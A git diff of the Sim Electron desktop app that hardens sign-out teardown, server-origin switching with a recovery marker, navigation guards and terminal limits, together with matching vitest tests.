|
||||
const reportFatal = (
|
||||
name: 'main_unhandled_rejection' | 'main_uncaught_exception',
|
||||
value: unknown
|
||||
): void => {
|
||||
if (fatalRecoveryOpen) return
|
||||
fatalRecoveryOpen = true
|
||||
events.record(name, { valueType: value instanceof Error ? 'Error' : typeof value })
|
||||
logger.error('Fatal main-process failure', { kind: name })
|
||||
const options = {
|
||||
type: 'error' as const,
|
||||
buttons: ['Restart Sim', 'Quit Sim'],
|
||||
defaultId: 0,
|
||||
cancelId: 1,
|
||||
message: 'Sim encountered a problem',
|
||||
detail: 'Restart Sim to recover. Diagnostic details were saved locally.',
|
||||
}
|
||||
const win = getWindow()
|
||||
const prompt =
|
||||
win && !win.isDestroyed()
|
||||
? dialog.showMessageBox(win, options)
|
||||
: dialog.showMessageBox(options)
|
||||
void prompt
|
||||
.then(({ response }) => {
|
||||
if (response === 0) app.relaunch()
|
||||
})
|
||||
.catch(() => {})
|
||||
.finally(() => {
|
||||
app.exit(1)
|
||||
})
|
||||
}
|
||||
|
||||
const onUnhandledRejection = (reason: unknown): void => {
|
||||
reportFatal('main_unhandled_rejection', reason)
|
||||
}
|
||||
const onUncaughtException = (error: Error): void => {
|
||||
reportFatal('main_uncaught_exception', error)
|
||||
}
|
||||
|
||||
app.on('child-process-gone', onChildProcessGone)
|
||||
processSource.on('unhandledRejection', onUnhandledRejection)
|
||||
processSource.on('uncaughtException', onUncaughtException)
|
||||
}
|
||||
|
||||
/**
|
||||
* Reduces a URL to origin + path for logging. Query strings and fragments are
|
||||
* dropped so tokens, states, and signed parameters never reach the event log.
|
||||
|
||||
@@ -92,6 +92,15 @@ describe('attachNavigationGuards', () => {
|
||||
expect(deps.onConnectIntercept).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('opens unknown cross-origin departures externally instead of replacing the app page', () => {
|
||||
const contents = makeContents(`${APP}/workspace/ws1`)
|
||||
attachNavigationGuards(contents as unknown as WebContents, makeDeps())
|
||||
const preventDefault = fire(contents, 'will-navigate', 'https://docs.example/page')
|
||||
|
||||
expect(preventDefault).toHaveBeenCalled()
|
||||
expect(shell.openExternal).toHaveBeenCalledWith('https://docs.example/page')
|
||||
})
|
||||
|
||||
it('denies non-web schemes', () => {
|
||||
const contents = makeContents(`${APP}/workspace/ws1`)
|
||||
attachNavigationGuards(contents as unknown as WebContents, makeDeps())
|
||||
|
||||
@@ -41,7 +41,6 @@ export function attachNavigationGuards(contents: WebContents, deps: GuardDeps):
|
||||
})
|
||||
switch (action) {
|
||||
case 'in-app':
|
||||
case 'idp-in-window':
|
||||
return
|
||||
case 'external':
|
||||
event.preventDefault()
|
||||
|
||||
@@ -12,6 +12,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation)
|
||||
let stored = origin
|
||||
return {
|
||||
filePath: '/tmp/settings.json',
|
||||
isPersistenceAvailable: () => true,
|
||||
getOrigin: () => stored,
|
||||
setOrigin: vi.fn((raw: string) => {
|
||||
const result = validate(raw)
|
||||
@@ -20,7 +21,7 @@ function makeConfig(origin: string, validate: (raw: string) => OriginValidation)
|
||||
}),
|
||||
get: vi.fn(() => undefined),
|
||||
set: vi.fn(),
|
||||
flush: vi.fn(),
|
||||
flush: vi.fn(() => true),
|
||||
} as unknown as ConfigStore
|
||||
}
|
||||
|
||||
@@ -34,7 +35,9 @@ function makeDeps(overrides: Partial<ServerWindowDeps> = {}): ServerWindowDeps {
|
||||
preloadPath: '/tmp/preload.cjs',
|
||||
isPackaged: false,
|
||||
getParentWindow: () => null,
|
||||
prepareDeploymentScopedStateChange: vi.fn(() => true),
|
||||
clearDeploymentScopedState: vi.fn(async (): Promise<readonly string[]> => []),
|
||||
completeDeploymentScopedStateChange: vi.fn((commit) => commit()),
|
||||
relaunch: vi.fn(),
|
||||
...overrides,
|
||||
}
|
||||
@@ -69,7 +72,6 @@ describe('server window', () => {
|
||||
const result = await createServerWindow(deps).setOrigin('https://sim.other.example')
|
||||
|
||||
expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false })
|
||||
expect(deps.config.flush).toHaveBeenCalled()
|
||||
expect(deps.relaunch).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
@@ -102,10 +104,26 @@ describe('server window', () => {
|
||||
it('clears deployment-scoped capabilities before relaunching', async () => {
|
||||
await createServerWindow(deps).setOrigin('https://sim.other.example')
|
||||
|
||||
expect(deps.prepareDeploymentScopedStateChange).toHaveBeenCalledTimes(1)
|
||||
expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1)
|
||||
expect(
|
||||
vi.mocked(deps.prepareDeploymentScopedStateChange).mock.invocationCallOrder[0]
|
||||
).toBeLessThan(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0])
|
||||
expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
|
||||
vi.mocked(deps.relaunch).mock.invocationCallOrder[0]
|
||||
)
|
||||
expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan(
|
||||
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
|
||||
)
|
||||
expect(
|
||||
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
|
||||
).toBeLessThan(vi.mocked(deps.config.set).mock.invocationCallOrder[0])
|
||||
expect(
|
||||
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
|
||||
).toBeLessThan(vi.mocked(deps.config.setOrigin).mock.invocationCallOrder[0])
|
||||
expect(
|
||||
vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0]
|
||||
).toBeLessThan(vi.mocked(deps.relaunch).mock.invocationCallOrder[0])
|
||||
})
|
||||
|
||||
it('does not clear them when the origin is unchanged', async () => {
|
||||
@@ -114,6 +132,23 @@ describe('server window', () => {
|
||||
expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('does not erase or persist anything when recovery intent cannot be recorded', async () => {
|
||||
const blocked = makeDeps({ prepareDeploymentScopedStateChange: vi.fn(() => false) })
|
||||
const handle = createServerWindow(blocked)
|
||||
|
||||
await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({
|
||||
ok: false,
|
||||
})
|
||||
expect(blocked.clearDeploymentScopedState).not.toHaveBeenCalled()
|
||||
expect(blocked.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
|
||||
expect(blocked.config.set).not.toHaveBeenCalled()
|
||||
expect(blocked.config.setOrigin).not.toHaveBeenCalled()
|
||||
expect(blocked.relaunch).not.toHaveBeenCalled()
|
||||
|
||||
vi.mocked(blocked.prepareDeploymentScopedStateChange).mockReturnValue(true)
|
||||
await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ ok: true })
|
||||
})
|
||||
|
||||
// The picker re-enables its button while a request is pending, and the IPC
|
||||
// boundary is reachable regardless of what the page does, so the transaction
|
||||
// has to be serialized here rather than in the renderer.
|
||||
@@ -174,6 +209,7 @@ describe('server window', () => {
|
||||
// happened", which is not what happened.
|
||||
expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared'))
|
||||
expect(failing.relaunch).not.toHaveBeenCalled()
|
||||
expect(failing.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
|
||||
expect(failing.config.setOrigin).not.toHaveBeenCalled()
|
||||
expect(failing.config.getOrigin()).toBe(CURRENT)
|
||||
})
|
||||
@@ -189,9 +225,55 @@ describe('server window', () => {
|
||||
|
||||
expect(result).toMatchObject({ ok: false })
|
||||
expect(throwing.relaunch).not.toHaveBeenCalled()
|
||||
expect(throwing.completeDeploymentScopedStateChange).not.toHaveBeenCalled()
|
||||
expect(throwing.config.getOrigin()).toBe(CURRENT)
|
||||
})
|
||||
|
||||
it('keeps teardown recovery pending when persisting the new origin fails', async () => {
|
||||
const config = makeConfig(CURRENT, () => ({ ok: false, error: 'disk is read-only' }))
|
||||
const failing = makeDeps({ config })
|
||||
|
||||
const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
|
||||
|
||||
expect(result).toEqual({ ok: false, error: 'disk is read-only' })
|
||||
expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce()
|
||||
expect(failing.relaunch).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('relaunches against the committed server when completing teardown fails', async () => {
|
||||
const failing = makeDeps({
|
||||
completeDeploymentScopedStateChange: vi.fn((commit) => {
|
||||
commit()
|
||||
throw new Error('marker is read-only')
|
||||
}),
|
||||
})
|
||||
|
||||
const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
|
||||
|
||||
expect(result).toEqual({
|
||||
ok: true,
|
||||
origin: 'https://sim.other.example',
|
||||
unchanged: false,
|
||||
})
|
||||
expect(failing.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example')
|
||||
expect(failing.config.getOrigin()).toBe('https://sim.other.example')
|
||||
expect(failing.relaunch).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('refuses the change while a stronger account teardown is active', async () => {
|
||||
const failing = makeDeps({
|
||||
completeDeploymentScopedStateChange: vi.fn(() => false),
|
||||
})
|
||||
|
||||
const result = await createServerWindow(failing).setOrigin('https://sim.other.example')
|
||||
|
||||
expect(result).toMatchObject({ ok: false })
|
||||
expect(failing.config.set).not.toHaveBeenCalled()
|
||||
expect(failing.config.setOrigin).not.toHaveBeenCalled()
|
||||
expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce()
|
||||
expect(failing.relaunch).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
// Validated up front with the shell's own rule, before anything is torn down
|
||||
// or written, so a typo costs nothing.
|
||||
it('surfaces a rejected origin without tearing anything down', async () => {
|
||||
|
||||
@@ -69,6 +69,10 @@ export interface ServerWindowDeps {
|
||||
* failure not hide another's, and lets the caller refuse to move.
|
||||
*/
|
||||
clearDeploymentScopedState: () => Promise<readonly string[]>
|
||||
/** Durably records the outgoing deployment before any capability is erased. */
|
||||
prepareDeploymentScopedStateChange: () => boolean
|
||||
/** Atomically commits the new configuration and completes this server wipe. */
|
||||
completeDeploymentScopedStateChange: (commit: () => boolean) => boolean
|
||||
/**
|
||||
* Relaunches the shell against the newly stored origin. A full restart rather
|
||||
* than an in-place swap: the origin decides the cookie partition, the update
|
||||
@@ -179,7 +183,7 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
|
||||
// what would actually be written.
|
||||
const origin = canonicalOrigin(validated.origin)
|
||||
const current = deps.config.getOrigin()
|
||||
if (origin === current) {
|
||||
if (origin === current && deps.config.isPersistenceAvailable()) {
|
||||
// Nothing moves, so nothing is torn down. Relaunching anyway would make
|
||||
// "confirm the URL I already use" restart the app for no reason.
|
||||
return { ok: true, origin, unchanged: true }
|
||||
@@ -190,6 +194,13 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
|
||||
}
|
||||
changeInFlight = true
|
||||
try {
|
||||
if (!deps.prepareDeploymentScopedStateChange()) {
|
||||
logger.error('Could not persist deployment-scoped recovery marker')
|
||||
return {
|
||||
ok: false,
|
||||
error: 'Could not safely prepare the server change. Try again.',
|
||||
}
|
||||
}
|
||||
// Fail closed, and clear BEFORE persisting. If a store cannot be emptied,
|
||||
// the shell must not move: the incoming deployment would otherwise
|
||||
// inherit folder grants and authenticated browser sessions the outgoing
|
||||
@@ -215,15 +226,42 @@ export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle {
|
||||
}
|
||||
}
|
||||
|
||||
logger.info('Server origin changed; relaunching', { from: current, to: origin })
|
||||
deps.config.setOrigin(raw)
|
||||
for (const key of ORIGIN_SCOPED_SETTINGS) {
|
||||
deps.config.set(key, undefined)
|
||||
const transaction: {
|
||||
stored: ReturnType<ConfigStore['setOrigin']> | null
|
||||
} = { stored: null }
|
||||
try {
|
||||
const completed = deps.completeDeploymentScopedStateChange(() => {
|
||||
for (const key of ORIGIN_SCOPED_SETTINGS) {
|
||||
deps.config.set(key, undefined)
|
||||
}
|
||||
transaction.stored = deps.config.setOrigin(raw)
|
||||
return transaction.stored.ok
|
||||
})
|
||||
if (!completed) {
|
||||
if (transaction.stored && !transaction.stored.ok) return transaction.stored
|
||||
logger.error('Refusing to change server while account-data recovery is active')
|
||||
return {
|
||||
ok: false,
|
||||
error: 'Finish signing out or restart Sim before changing servers.',
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
if (transaction.stored?.ok) {
|
||||
logger.error('Server changed but deployment-scoped recovery remains pending', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
} else {
|
||||
logger.error('Could not persist the new server origin', {
|
||||
error: getErrorMessage(error),
|
||||
})
|
||||
return {
|
||||
ok: false,
|
||||
error: 'Could not save the new server URL. Try again.',
|
||||
}
|
||||
}
|
||||
}
|
||||
// setOrigin writes through immediately; the clears above are debounced
|
||||
// like every other setting. `before-quit` flushes too, but doing it here
|
||||
// keeps the write independent of the Electron quit sequence.
|
||||
deps.config.flush()
|
||||
|
||||
logger.info('Server origin changed; relaunching', { from: current, to: origin })
|
||||
close()
|
||||
deps.relaunch()
|
||||
return { ok: true, origin, unchanged: false }
|
||||
|
||||
@@ -1,8 +1,16 @@
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { mkdtempSync, writeFileSync } from 'node:fs'
|
||||
import { rm } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('electron', () => import('@/test/electron-mock'))
|
||||
|
||||
import { BrowserWindow, type Session } from 'electron'
|
||||
import {
|
||||
completeAccountDataTeardown,
|
||||
initializeAccountDataRecovery,
|
||||
} from '@/main/account-data-generation'
|
||||
import {
|
||||
createSessionLifecycleCoordinator,
|
||||
decideStartRoute,
|
||||
@@ -15,6 +23,18 @@ import {
|
||||
} from '@/main/session-lifecycle'
|
||||
|
||||
const APP = 'https://sim.ai'
|
||||
let recoveryDirectory: string
|
||||
|
||||
beforeEach(() => {
|
||||
recoveryDirectory = mkdtempSync(join(tmpdir(), 'sim-session-lifecycle-'))
|
||||
initializeAccountDataRecovery(join(recoveryDirectory, 'teardown-required.json'))
|
||||
})
|
||||
|
||||
afterEach(async () => {
|
||||
completeAccountDataTeardown()
|
||||
initializeAccountDataRecovery(null)
|
||||
await rm(recoveryDirectory, { recursive: true, force: true })
|
||||
})
|
||||
|
||||
describe('isSessionCookieName', () => {
|
||||
it('matches the better-auth session cookie on secure and non-secure hosts', () => {
|
||||
@@ -148,10 +168,14 @@ describe('tearDownSession', () => {
|
||||
clearStorageData: vi.fn(async () => {
|
||||
order.push('session')
|
||||
}),
|
||||
clearCache: vi.fn(async () => {
|
||||
order.push('cache')
|
||||
}),
|
||||
} as unknown as Session
|
||||
|
||||
await tearDownSession(
|
||||
session,
|
||||
APP,
|
||||
async () => {
|
||||
await Promise.resolve()
|
||||
order.push('local')
|
||||
@@ -167,18 +191,18 @@ describe('tearDownSession', () => {
|
||||
}
|
||||
)
|
||||
|
||||
expect(order).toEqual(['revoke', 'local', 'browser', 'session'])
|
||||
expect(order).toEqual(['revoke', 'local', 'browser', 'session', 'cache'])
|
||||
})
|
||||
|
||||
it('still clears the web session when the browser profile cannot be cleared', async () => {
|
||||
// Sign-out must complete even if the embedded browser is in a bad state;
|
||||
// failing to clear its cookies is bad, failing to sign out is worse.
|
||||
it('attempts every local erasure but rejects when the browser profile survives', async () => {
|
||||
const clearStorageData = vi.fn(async () => {})
|
||||
const session = { clearStorageData } as unknown as Session
|
||||
const clearCache = vi.fn(async () => {})
|
||||
const session = { clearStorageData, clearCache } as unknown as Session
|
||||
|
||||
await expect(
|
||||
tearDownSession(
|
||||
session,
|
||||
APP,
|
||||
async () => {},
|
||||
{ filePath: '/tmp/events.log', record: vi.fn() },
|
||||
async () => {
|
||||
@@ -186,19 +210,22 @@ describe('tearDownSession', () => {
|
||||
},
|
||||
async () => {}
|
||||
)
|
||||
).resolves.toBeUndefined()
|
||||
).rejects.toThrow('account-data stores could not be cleared')
|
||||
|
||||
expect(clearStorageData).toHaveBeenCalled()
|
||||
expect(clearCache).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('continues clearing account state when local teardown fails', async () => {
|
||||
it('attempts every local erasure but rejects when account state survives', async () => {
|
||||
const clearStorageData = vi.fn(async () => {})
|
||||
const clearCache = vi.fn(async () => {})
|
||||
const clearBrowserProfile = vi.fn(async () => {})
|
||||
const session = { clearStorageData } as unknown as Session
|
||||
const session = { clearStorageData, clearCache } as unknown as Session
|
||||
|
||||
await expect(
|
||||
tearDownSession(
|
||||
session,
|
||||
APP,
|
||||
async () => {
|
||||
throw new Error('local store unavailable')
|
||||
},
|
||||
@@ -206,20 +233,55 @@ describe('tearDownSession', () => {
|
||||
clearBrowserProfile,
|
||||
async () => {}
|
||||
)
|
||||
).resolves.toBeUndefined()
|
||||
).rejects.toThrow('account-data stores could not be cleared')
|
||||
|
||||
expect(clearBrowserProfile).toHaveBeenCalledOnce()
|
||||
expect(clearStorageData).toHaveBeenCalledOnce()
|
||||
expect(clearCache).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('does not erase local data when the recovery marker cannot be written', async () => {
|
||||
const directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-'))
|
||||
const blockedParent = join(directory, 'blocked')
|
||||
initializeAccountDataRecovery(join(blockedParent, 'teardown-required.json'))
|
||||
writeFileSync(blockedParent, 'not a directory')
|
||||
const clearHandoffState = vi.fn(async () => {})
|
||||
const clearBrowserProfile = vi.fn(async () => {})
|
||||
const clearStorageData = vi.fn(async () => {})
|
||||
const clearCache = vi.fn(async () => {})
|
||||
|
||||
try {
|
||||
await expect(
|
||||
tearDownSession(
|
||||
{ clearStorageData, clearCache } as unknown as Session,
|
||||
APP,
|
||||
clearHandoffState,
|
||||
{ filePath: '/tmp/events.log', record: vi.fn() },
|
||||
clearBrowserProfile,
|
||||
async () => {}
|
||||
)
|
||||
).rejects.toThrow('recovery marker')
|
||||
|
||||
expect(clearHandoffState).not.toHaveBeenCalled()
|
||||
expect(clearBrowserProfile).not.toHaveBeenCalled()
|
||||
expect(clearStorageData).not.toHaveBeenCalled()
|
||||
expect(clearCache).not.toHaveBeenCalled()
|
||||
} finally {
|
||||
initializeAccountDataRecovery(null)
|
||||
await rm(directory, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('still clears local state when the server-side revoke fails', async () => {
|
||||
// Offline sign-out must not strand the user signed in locally.
|
||||
const clearStorageData = vi.fn(async () => {})
|
||||
const session = { clearStorageData } as unknown as Session
|
||||
const clearCache = vi.fn(async () => {})
|
||||
const session = { clearStorageData, clearCache } as unknown as Session
|
||||
|
||||
await expect(
|
||||
tearDownSession(
|
||||
session,
|
||||
APP,
|
||||
async () => {},
|
||||
{ filePath: '/tmp/events.log', record: vi.fn() },
|
||||
async () => {},
|
||||
@@ -231,6 +293,26 @@ describe('tearDownSession', () => {
|
||||
|
||||
expect(clearStorageData).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('rejects when the app cache cannot be cleared', async () => {
|
||||
const session = {
|
||||
clearStorageData: vi.fn(async () => {}),
|
||||
clearCache: vi.fn(async () => {
|
||||
throw new Error('cache busy')
|
||||
}),
|
||||
} as unknown as Session
|
||||
|
||||
await expect(
|
||||
tearDownSession(
|
||||
session,
|
||||
APP,
|
||||
async () => {},
|
||||
{ filePath: '/tmp/events.log', record: vi.fn() },
|
||||
async () => {},
|
||||
async () => {}
|
||||
)
|
||||
).rejects.toThrow('account-data stores could not be cleared')
|
||||
})
|
||||
})
|
||||
|
||||
describe('revokeAppSession', () => {
|
||||
@@ -292,10 +374,12 @@ describe('createSessionLifecycleCoordinator', () => {
|
||||
const cookiesOn = vi.fn()
|
||||
const webRequestOnCompleted = vi.fn()
|
||||
const clearStorageData = vi.fn(async () => {})
|
||||
const clearCache = vi.fn(async () => {})
|
||||
const session = {
|
||||
cookies: { on: cookiesOn },
|
||||
webRequest: { onCompleted: webRequestOnCompleted },
|
||||
clearStorageData,
|
||||
clearCache,
|
||||
fetch: vi.fn(async () => Response.json(null)),
|
||||
} as unknown as Session
|
||||
const first = new BrowserWindow()
|
||||
@@ -333,4 +417,35 @@ describe('createSessionLifecycleCoordinator', () => {
|
||||
})
|
||||
expect(clearHandoffState).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('shares one awaitable teardown and does not open login when clearing fails', async () => {
|
||||
let releaseBrowserClear: (() => void) | undefined
|
||||
const browserClear = new Promise<void>((resolve) => {
|
||||
releaseBrowserClear = resolve
|
||||
})
|
||||
const win = new BrowserWindow()
|
||||
const coordinator = createSessionLifecycleCoordinator({
|
||||
appSession: {
|
||||
cookies: { on: vi.fn() },
|
||||
clearStorageData: vi.fn(async () => {
|
||||
throw new Error('storage locked')
|
||||
}),
|
||||
clearCache: vi.fn(async () => {}),
|
||||
} as unknown as Session,
|
||||
origin: () => APP,
|
||||
events: { filePath: '/tmp/events.log', record: vi.fn() },
|
||||
clearHandoffState: vi.fn(async () => {}),
|
||||
clearBrowserProfile: vi.fn(() => browserClear),
|
||||
getWindows: () => [win],
|
||||
})
|
||||
|
||||
const first = coordinator.signOut()
|
||||
const second = coordinator.signOut()
|
||||
expect(first).toBe(second)
|
||||
await expect(coordinator.awaitTeardown(1)).resolves.toBe(false)
|
||||
|
||||
releaseBrowserClear?.()
|
||||
await expect(first).resolves.toBe(false)
|
||||
expect(win.loadURL).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -1,6 +1,12 @@
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { sleep } from '@sim/utils/helpers'
|
||||
import type { Session, WebContents } from 'electron'
|
||||
import { BrowserWindow, dialog } from 'electron'
|
||||
import {
|
||||
beginAccountDataTeardown,
|
||||
completeAccountDataTeardown,
|
||||
waitForAccountDataMutations,
|
||||
} from '@/main/account-data-generation'
|
||||
import { isSafeInternalPath } from '@/main/config'
|
||||
import { isAuthSurfacePath, openExternalSafe } from '@/main/navigation'
|
||||
import type { EventRecorder } from '@/main/observability'
|
||||
@@ -10,6 +16,7 @@ const logger = createLogger('DesktopSessionLifecycle')
|
||||
const SESSION_PROBE_TIMEOUT_MS = 5000
|
||||
const START_ROUTE_PROBE_TIMEOUT_MS = 1500
|
||||
const TEARDOWN_COOLDOWN_MS = 3000
|
||||
const TEARDOWN_WAIT_TIMEOUT_MS = 5000
|
||||
|
||||
const CLEARED_STORAGES = [
|
||||
'cookies',
|
||||
@@ -251,26 +258,43 @@ export async function revokeAppSession(win: BrowserWindow, origin: string): Prom
|
||||
*/
|
||||
export async function tearDownSession(
|
||||
session: Session,
|
||||
origin: string,
|
||||
clearHandoffState: () => void | Promise<void>,
|
||||
events: EventRecorder,
|
||||
clearBrowserProfile: () => Promise<void>,
|
||||
revokeSession: () => Promise<void>
|
||||
): Promise<void> {
|
||||
if (!beginAccountDataTeardown('account', origin)) {
|
||||
throw new Error('Could not persist account-data recovery marker.')
|
||||
}
|
||||
events.record('sign_out')
|
||||
// Server-side first, while the partition still holds the session cookie the
|
||||
// revoke needs. Every step below is best-effort for the same reason the
|
||||
// browser-profile clear is: failing to clear something is bad, failing to
|
||||
// sign out is worse.
|
||||
// revoke needs. Revocation remains best-effort because offline sign-out must
|
||||
// still erase the device, but every local erasure below is fail-closed.
|
||||
await revokeSession().catch((error) => logger.error('Session revoke failed', { error }))
|
||||
await Promise.resolve(clearHandoffState()).catch((error) =>
|
||||
logger.error('Local account-state teardown failed', { error })
|
||||
await waitForAccountDataMutations()
|
||||
|
||||
const failures: unknown[] = []
|
||||
const clear = async (label: string, operation: () => void | Promise<void>) => {
|
||||
try {
|
||||
await operation()
|
||||
} catch (error) {
|
||||
failures.push(error)
|
||||
logger.error(label, { error })
|
||||
}
|
||||
}
|
||||
|
||||
await clear('Local account-state teardown failed', clearHandoffState)
|
||||
await clear('Browser profile teardown failed', clearBrowserProfile)
|
||||
await clear('App partition storage teardown failed', () =>
|
||||
session.clearStorageData({ storages: [...CLEARED_STORAGES] })
|
||||
)
|
||||
await clearBrowserProfile().catch((error) =>
|
||||
logger.error('Browser profile teardown failed', { error })
|
||||
)
|
||||
await session
|
||||
.clearStorageData({ storages: [...CLEARED_STORAGES] })
|
||||
.catch((error) => logger.error('App partition teardown failed', { error }))
|
||||
await clear('App partition cache teardown failed', () => session.clearCache())
|
||||
|
||||
if (failures.length > 0) {
|
||||
throw new AggregateError(failures, 'One or more account-data stores could not be cleared.')
|
||||
}
|
||||
completeAccountDataTeardown()
|
||||
}
|
||||
|
||||
export interface SessionLifecycleDeps {
|
||||
@@ -290,7 +314,10 @@ export interface SessionLifecycleCoordinator {
|
||||
* the in-progress guard, and its own cookie removal then trips the cookie
|
||||
* watcher into a second concurrent teardown.
|
||||
*/
|
||||
signOut(): void
|
||||
signOut(): Promise<boolean>
|
||||
/** Waits for an active teardown without allowing shutdown to hang indefinitely. */
|
||||
awaitTeardown(timeoutMs?: number): Promise<boolean>
|
||||
isTeardownActive(): boolean
|
||||
}
|
||||
|
||||
interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps {
|
||||
@@ -314,13 +341,17 @@ interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps {
|
||||
export function createSessionLifecycleCoordinator(
|
||||
deps: SessionLifecycleCoordinatorDeps
|
||||
): SessionLifecycleCoordinator {
|
||||
let tearingDown = false
|
||||
const runTeardown = () => {
|
||||
if (tearingDown) return
|
||||
tearingDown = true
|
||||
let teardownPromise: Promise<boolean> | null = null
|
||||
let teardownSettled = true
|
||||
let lastTeardownSucceeded: boolean | null = null
|
||||
const runTeardown = (): Promise<boolean> => {
|
||||
if (teardownPromise) return teardownPromise
|
||||
teardownSettled = false
|
||||
lastTeardownSucceeded = null
|
||||
logger.info('Sign-out detected; clearing partition')
|
||||
void tearDownSession(
|
||||
const pending = tearDownSession(
|
||||
deps.appSession,
|
||||
deps.origin(),
|
||||
deps.clearHandoffState,
|
||||
deps.events,
|
||||
deps.clearBrowserProfile,
|
||||
@@ -335,19 +366,39 @@ export function createSessionLifecycleCoordinator(
|
||||
}
|
||||
}
|
||||
)
|
||||
.catch((error) => logger.error('Session teardown failed', { error }))
|
||||
.finally(() => {
|
||||
.then(() => {
|
||||
for (const win of deps.getWindows()) {
|
||||
if (!win.isDestroyed()) {
|
||||
void win.loadURL(`${deps.origin()}/login`).catch(() => {})
|
||||
}
|
||||
}
|
||||
lastTeardownSucceeded = true
|
||||
return true
|
||||
})
|
||||
.catch((error) => {
|
||||
logger.error('Session teardown failed; refusing to report a clean sign-out', { error })
|
||||
void dialog.showMessageBox({
|
||||
type: 'error',
|
||||
message: 'Sim could not finish signing out',
|
||||
detail:
|
||||
'Some account data could not be removed from this device. Try signing out again before another account uses the app.',
|
||||
buttons: ['OK'],
|
||||
})
|
||||
lastTeardownSucceeded = false
|
||||
return false
|
||||
})
|
||||
.finally(() => {
|
||||
teardownSettled = true
|
||||
// Re-arm after clearStorageData's own cookie-removal events have
|
||||
// drained, so self-induced deletions never re-trigger teardown.
|
||||
setTimeout(() => {
|
||||
tearingDown = false
|
||||
if (teardownPromise === pending) {
|
||||
teardownPromise = null
|
||||
}
|
||||
}, TEARDOWN_COOLDOWN_MS)
|
||||
})
|
||||
teardownPromise = pending
|
||||
return pending
|
||||
}
|
||||
|
||||
// Robust backstop: when the better-auth session cookie is deleted by ANY
|
||||
@@ -355,7 +406,7 @@ export function createSessionLifecycleCoordinator(
|
||||
// gone with a probe — so cookie rotation can't cause a false teardown — then
|
||||
// clear the partition. This closes the cross-account residue gap.
|
||||
deps.appSession.cookies.on('changed', (_event, cookie, cause, removed) => {
|
||||
if (tearingDown || !removed || cause === 'overwrite') {
|
||||
if (teardownPromise !== null || !removed || cause === 'overwrite') {
|
||||
return
|
||||
}
|
||||
if (!isSessionCookieName(cookie.name)) {
|
||||
@@ -370,6 +421,14 @@ export function createSessionLifecycleCoordinator(
|
||||
|
||||
return {
|
||||
signOut: runTeardown,
|
||||
async awaitTeardown(timeoutMs = TEARDOWN_WAIT_TIMEOUT_MS) {
|
||||
const pending = teardownPromise
|
||||
if (!pending) return lastTeardownSucceeded !== false
|
||||
return Promise.race([pending, sleep(timeoutMs).then(() => false)])
|
||||
},
|
||||
isTeardownActive() {
|
||||
return teardownPromise !== null && !teardownSettled
|
||||
},
|
||||
attachWindow(win) {
|
||||
const onNavigation = (url: string) => {
|
||||
if (isLogoutNavigation(url, deps.origin())) {
|
||||
|
||||
@@ -82,6 +82,9 @@ const CWD_POLL_MS = 1_000
|
||||
/** Cmd-Shift-T history; independent of how many terminals may be open. */
|
||||
const MAX_RECENTLY_CLOSED_TERMINALS = 10
|
||||
|
||||
/** A single chat cannot monopolize the process with native PTYs. */
|
||||
export const MAX_TERMINALS_PER_SCOPE = 16
|
||||
|
||||
/** Pause between keys sent to a tmux pane, matching the pty keystroke gap. */
|
||||
const TMUX_KEY_GAP_MS = 150
|
||||
|
||||
@@ -130,7 +133,7 @@ function requestedKeys(args: TerminalToolArgs): TerminalControlKey[] {
|
||||
|
||||
const EMPTY_TABS: TerminalTabsState = { tabs: [], activeTerminalId: null }
|
||||
|
||||
class TerminalError extends Error {
|
||||
export class TerminalError extends Error {
|
||||
constructor(
|
||||
readonly code: TerminalErrorCode,
|
||||
message: string
|
||||
@@ -155,6 +158,7 @@ export interface TerminalServiceOptions {
|
||||
* to the home directory.
|
||||
*/
|
||||
loadCwd?(): string | undefined
|
||||
canSpawn?(): boolean
|
||||
}
|
||||
|
